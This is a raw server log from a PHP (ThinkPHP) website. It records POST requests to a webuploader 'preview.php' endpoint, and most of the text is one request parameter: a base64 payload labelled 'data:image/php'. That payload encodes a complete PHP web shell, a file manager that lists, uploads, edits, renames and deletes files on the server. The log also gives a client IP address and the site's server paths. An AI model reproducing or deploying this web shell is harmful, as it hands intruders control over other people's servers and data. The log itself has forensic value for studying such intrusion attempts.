'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:19+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/webuploader/0.1.5/server/preview.php [运行时间:0.002584s] [吞吐率:386.96req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 